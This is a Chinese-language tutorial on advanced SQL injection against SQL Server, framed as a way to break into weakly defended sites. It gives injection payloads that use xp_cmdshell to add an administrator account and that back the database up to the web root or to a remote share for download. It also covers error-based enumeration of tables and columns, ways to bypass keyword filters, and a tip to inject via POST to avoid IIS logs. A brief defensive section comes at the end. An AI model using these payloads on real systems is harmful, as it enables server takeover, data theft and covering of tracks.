首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入進階與高階技巧:系統表利用、繞過過濾、效率提升與防禦對策

     編輯:關於SqlServer

前言

入門技巧足以攻破多數防禦薄弱站點,但面對表名/欄位名難以猜測、關鍵字過濾、權限限制等情境,需掌握系統表資訊收集、編碼繞過、錯誤回顯效率優化等高階技術。本文深入解析 SQL Server 系統表利用、防禦繞過與實戰經驗總結。

一、善用 SQL Server 系統表深度滲透

SQL Server 緊密整合作業系統,提供豐富系統表與擴展預存程序,若連線帳號具 `sa` 權限,可直接掌控主機。

1. xp_cmdshell 直接執行系統指令

; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'; --
; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add'; --
  • 分號 `;` 分隔多陳述式,`--` 註解後續原始碼。
  • 需 `sa` 權限且 `xp_cmdshell` 未被移除/停用。
  • 兩分鐘內從 Web 滲透至系統最高權限。

2. 系統變數錯誤回顯資訊收集

  • `AND USER>0` → 取得連線用戶名 (若為 `dbo` 表示 `sa`)。
  • `AND DB_NAME()>0` → 取得目前資料庫名稱。

3. 備份資料庫至 Web 目錄下載

; BACKUP DATABASE [dbname] TO DISK='c:\inetpub\wwwroot\db.bak'; --
  • 結合 IIS 錯誤回顯的絕對路徑,將完整資料庫備份至可下載位置。
  • 不知路徑時可嘗試網路路徑 `\\202.96.x.x\share\db.bak` (成功率較低)。

4. 透過 sysobjects 列舉使用者表名

AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0)>0
  • `xtype='U'` 為使用者資料表,`status>0` 過濾系統旗標。
  • 錯誤訊息直接洩露第一個表名;後續表名可用 `NOT IN` 排除法遞迴取得。

5. 透過 syscolumns / COL_NAME 列舉欄位名

AND (SELECT TOP 1 COL_NAME(OBJECT_ID('tablename'), 1) FROM sysobjects)>0
  • `OBJECT_ID('tablename')` 取得表內部 ID。
  • `COL_NAME(id, 1)` 取得第 1 欄位名,依序遞增索引取得所有欄位。

二、繞過關鍵字/特殊字元過濾

1. 大小寫混淆

VBScript 不區分大小寫,過濾器常僅檢查單一大小寫。嘗試 `SelecT`、`uNiOn`、`wHeRe` 等變體。

2. Unicode / URL 編碼

  • `+` → `%2B`,空格 → `%20`,`%` → `%25`。
  • 完整參考 URLEncode 對照表。

3. ASCII / NCHAR 字元重組 (避開單引號)

  • `WHERE xtype='U'` → `WHERE xtype=CHAR(85)`
  • 中文:`WHERE name='用戶'` → `WHERE name=NCHAR(29992)+NCHAR(25143)`

三、實戰經驗總結

  1. 表單欄位名 = 資料表欄位名: 登入表單的 `username`/`password` 輸入框名稱常與資料表欄位對應,優先嘗試。
  2. URL 編碼陷阱: `+` 在 QueryString 解碼為空格,需用 `%2B` 傳遞真實 `+`;`%` 需雙重編碼 `%25`。
  3. 偏好 POST 注入: IIS 日誌記錄 GET 參數,POST 不記錄,降低留痕風險。
  4. Access 僅能 ASCII 逐字解碼: SQL Server 亦可用,但錯誤回顯法效率準確度遠勝。
  5. 盲注布林化: 將條件轉為 TRUE/FALSE 觀察頁面差異 (如內容長度、特定文字出現與否)。

四、防禦對策:統一輸入過濾函數

Function SafeRequest(ParaName, ParaType)
    ' ParaType: 1=數值, 0=字串
    Dim ParaValue
    ParaValue = Request(ParaName)
    If ParaType = 1 Then
        If Not IsNumeric(ParaValue) Then
            Response.Write "參數 " & ParaName & " 必須為數值型!"
            Response.End
        End If
    Else
        ParaValue = Replace(ParaValue, "'", "''")
    End If
    SafeRequest = ParaValue
End Function

所有 `Request.QueryString`、`Request.Form` 替換為 `SafeRequest("param", 1/0)`。根本解決之道:參數化查詢 (Command.Parameters) + 最小權限 DB 帳號 + 關閉詳細錯誤頁面。

總結

高階注入核心在於「資訊收集自動化」(系統表) 與「語法變形繞過」(編碼/大小寫/字元重組)。防禦端必須從架構層面解決:參數化查詢、最小權限、錯誤訊息不外洩、WAF 規則更新,單一過濾函數僅為權宜之計。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved